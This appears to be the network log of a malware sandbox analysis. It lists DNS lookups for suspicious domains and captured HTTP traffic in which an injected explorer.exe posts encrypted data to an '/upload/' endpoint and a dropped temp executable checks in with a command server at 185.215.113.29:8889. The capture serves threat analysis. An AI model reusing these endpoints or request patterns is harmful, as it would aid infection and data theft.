Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.948513985 CEST	8.8.8.8	192.168.2.7	0x8dcc	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.512516975 CEST	8.8.8.8	192.168.2.7	0x4388	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.821352005 CEST	8.8.8.8	192.168.2.7	0x490e	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.407993078 CEST	8.8.8.8	192.168.2.7	0x3e8e	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.092173100 CEST	8.8.8.8	192.168.2.7	0x45a1	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.429383993 CEST	8.8.8.8	192.168.2.7	0xee04	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.222157001 CEST	8.8.8.8	192.168.2.7	0x6e44	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.966406107 CEST	8.8.8.8	192.168.2.7	0xe800	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.254822969 CEST	8.8.8.8	192.168.2.7	0x78ea	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:54.876378059 CEST	8.8.8.8	192.168.2.7	0xa5df	No error (0)	ng.hiterima.ru		217.107.34.191	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.643225908 CEST	8.8.8.8	192.168.2.7	0x4905	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.168230057 CEST	8.8.8.8	192.168.2.7	0x1487	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.780603886 CEST	8.8.8.8	192.168.2.7	0xb8b7	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:20.977907896 CEST	8.8.8.8	192.168.2.7	0xb57	No error (0)	gophamanapr.site		212.224.105.106	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:26.371706963 CEST	8.8.8.8	192.168.2.7	0x97e2	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 19, 2021 07:54:26.408123016 CEST	8.8.8.8	192.168.2.7	0x8151	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 19, 2021 07:54:28.792363882 CEST	8.8.8.8	192.168.2.7	0x47a4	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 19, 2021 07:54:28.833000898 CEST	8.8.8.8	192.168.2.7	0x73c6	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

atvcampingtrips.com

193.142.59.119

185.215.113.29:8889

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49704	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:02.919735909 CEST	1292	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: atvcampingtrips.com
Aug 19, 2021 07:53:02.919778109 CEST	1292	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 39 19 ab fa Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA .[k,vu9]Nw\>U>.b,`=bG}-3&&k[(<wHz)bPm
Aug 19, 2021 07:53:06.581818104 CEST	1952	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 8 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 04 00 00 00 70 e8 86 ea Data Ascii: p

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49712	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:06.890949965 CEST	1954	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: atvcampingtrips.com
Aug 19, 2021 07:53:06.890964031 CEST	1954	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0a 6b 2c 90 f5 76 0b 75 30 2c e9 b6 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu0,{Yfd5qX{'ug;]5T9bTS$u}Q~.D55TF%3
Aug 19, 2021 07:53:07.021217108 CEST	1955	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	49729	185.215.113.29	8889	C:\Users\user\AppData\Local\Temp\337E.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:30.316083908 CEST	7055	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 185.215.113.29:8889 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Aug 19, 2021 07:53:30.373447895 CEST	7055	IN	HTTP/1.1 100 Continue
Aug 19, 2021 07:53:30.432180882 CEST	7056	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 19 Aug 2021 12:53:17 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
